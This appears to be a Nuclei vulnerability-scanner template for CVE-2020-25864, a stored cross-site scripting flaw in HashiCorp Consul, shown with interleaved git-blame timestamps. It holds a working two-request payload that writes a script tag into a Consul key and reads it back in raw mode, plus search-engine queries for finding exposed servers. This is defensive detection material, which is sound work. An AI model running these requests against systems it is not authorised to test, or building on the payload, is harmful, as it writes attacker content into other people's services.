2022-02-17 18:25:37 +00:00
id : CVE-2020-25864
info :
2022-08-16 14:14:41 +00:00
name : HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting
2022-02-17 18:25:37 +00:00
author : c-sh0
2022-04-22 10:38:41 +00:00
severity : medium
2022-05-17 09:18:12 +00:00
description : |
2022-08-16 14:14:41 +00:00
HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Consul/Consul Enterprise application.
2023-09-06 12:22:36 +00:00
remediation : Fixed in 1.9.5, 1.8.10 and 1.7.14.
2022-02-17 18:25:37 +00:00
reference :
- https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
2022-05-17 09:18:12 +00:00
- https://www.hashicorp.com/blog/category/consul
2022-08-16 14:14:41 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-25864
2023-07-11 19:49:27 +00:00
- https://security.gentoo.org/glsa/202208-09
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/cvemon
2022-02-17 18:25:37 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2022-02-17 18:25:37 +00:00
cve-id : CVE-2020-25864
cwe-id : CWE-79
2024-01-14 13:49:27 +00:00
epss-score : 0.00324
2024-05-31 19:23:20 +00:00
epss-percentile : 0.70681
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:hashicorp:consul:*:*:*:*:-:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : hashicorp
product : consul
2024-06-07 10:04:29 +00:00
shodan-query :
- http.title:"consul by hashicorp"
- cpe:"cpe:2.3:a:hashicorp:consul"
2024-05-31 19:23:20 +00:00
fofa-query : title="consul by hashicorp"
google-query : intitle:"consul by hashicorp"
2023-12-05 09:50:33 +00:00
tags : cve,cve2020,consul,xss,intrusive,hashicorp
2022-02-17 18:25:37 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-02-17 18:25:37 +00:00
- raw :
- |
PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1
Host : {{Hostname}}
<!DOCTYPE html><script>alert(document.domain)</script>
- |
GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
2022-02-17 20:45:13 +00:00
- type : word
part : header
words :
2023-07-11 19:49:27 +00:00
- text/html
2022-02-17 20:45:13 +00:00
2022-02-17 18:25:37 +00:00
- type : word
part : body_2
words :
2023-07-11 19:49:27 +00:00
- <!DOCTYPE html><script>alert(document.domain)</script>
- type : status
status :
- 200
2024-06-08 16:02:17 +00:00
# digest: 490a00463044022036ee6c2abe0cae19513f267a94eff61f5998ea99ab09723b203232fe8b84ce1602207c44bb37cf60a356634bae0a5cd0d1adf35f4f7d17d127d491a5e54739e542f6:922c64590222798bb761d5b6d8e72950